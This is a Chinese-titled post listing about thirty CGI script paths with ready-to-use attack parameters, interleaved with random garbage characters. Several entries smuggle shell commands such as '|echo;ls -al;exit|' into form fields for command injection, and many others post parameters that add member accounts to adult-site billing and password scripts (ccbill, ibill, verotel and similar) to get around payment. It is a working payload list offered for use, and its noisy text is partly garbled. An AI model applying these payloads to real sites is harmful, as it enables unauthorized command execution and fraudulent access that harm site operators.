Cgi-bin 30个漏洞＋使用方法

admin

==============================
8 a. s3 Z) ~" v0 z4 d1 Q
/smspass.pl
username=username&password=password
! R: I! p' G& @4 v; X
/index.cgi
  H3 D- b: O* fwei=ren&gen=command

2 g1 n2 U* y, j' n; v/passmaster.cgi
Action=Add&Username=Username&Password=Password
7 E6 T4 q0 N+ W9 c) Q. D
) P3 H( t4 k) c" Z) S1 i, l/accountcreate.cgi
0 m$ R8 y+ X4 O; |3 yusername=username&password=password&ref1=|echo;ls|
) P: A1 X  g! i/ d0 j
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
' s$ a* p# ~$ z& }! W9 B- N; r/cgi-bin/EuroDebit/addusr.pl
- V, t# K- h1 o- u- ouser=username&pass=Password&confirm=Password

: I; ^. F1 M; T; [8 [0 u" l/ccbill-local.asp
8 X4 h% |: f6 G5 P$ ipost_values=username:password
0 P* J/ N, B" I% Y. ]7 ^
/count.cgi
" X/ t) @" b: @$ Bpinfile=|echo;ls -la;exit|
8 p/ g1 M9 S5 p- e
- ~; Z6 c. P" _6 d8 {, Y/recon.cgi
! ^- ]! }$ f  o3 ^/recon.cgi?search
9 d  T/ s  b$ B# h4 {+ Asearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
( P% r" A0 f$ M' O  Q: N/ R+ L* n
/af.cgi
_browser_out=|echo;ls -la;exit;|
+ L5 z' n) A$ l! m/ P6 l1 B. L6 O
/modify.cgi
7 U% u) @  s. O0 B+ g4 }username=username&password=password&expire=30

/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
& ?4 \$ V; e7 z; v' L
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
# F* y. O- h2 c* w: ?0 I
7 H& i1 }, l/ R4 ]- Z4 e6 S7 T/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

! _1 n* o$ O" v. R! w: n7 q9 V0 e/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
* x' D: @( r# `4 K  k" a& ncmd=ADD&user=username&pass=password
, m3 G3 M4 t$ \( l& Q
* i; w4 h# ]! G2 s3 t7 F: w9 r/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
- v2 y. V0 }1 h; b4 j' ]' B' k) S
/cpay.cgi
8 S, \- Y$ y$ w3 h) ecommand=add_member&username=username(EMAIL)&password=password(DES)

! Z7 D+ L1 C/ K, ]5 t* I3 [3 ^/globill_ut.cgi
8 w: l  b1 _7 k, m; h% u1 Ado=add&username=username&password=password&wpassword=password
! n* ]7 o6 j9 a+ O- I8 }
+ Z0 O2 G- N6 R# E& r. j) R& \. e/usercontrol.cgi
* z# Z# V2 k1 zcommand=enable&username=USER&password=PASS

0 C7 y. G/ Y) i  d/globoSALErum.cgi
- g3 @. ~9 M. [8 Caction=ADD&seccode=seccode&login=username&password=password
5 [$ q9 x* y3 X# [! }/ ]) G
! t, e& Y8 E/ h) R8 R) ?' `/addusr.pl
6 h& Y$ b. R8 I4 x5 Tuser=USER&pass=PASS&confirm=PASS
% ]/ s1 k& S2 d2 n; V
( ~9 G0 C9 O4 p; V" G+ _/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
" }: N+ @$ n  ~* H( q
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
3 g% Z, }8 V, B7 Husername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
" ^+ t8 B9 R' [- u- ~6 G0 ]/env.cgi
+ U# x  B* h) y1 k* B. xADD+;echo;pwd;exit
; G: |, y3 t, f5 f
' b7 [  U' k& v; M/count.cgi
7 t) m1 \" Z  J6 H  O6 Ipinfile=|echo;pwd;exit|
1 B4 R0 k1 H! `2 V( [
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
+ ~2 t* {( w; x9 m7 N. e! L5 a
: S0 P4 k. |& ~/add.cgi
username=username&password=password&expire=30
* o+ G% o6 m% x! Z/ \
==============================
: h  ^( D6 G5 @- y6 V2 \1 d+ O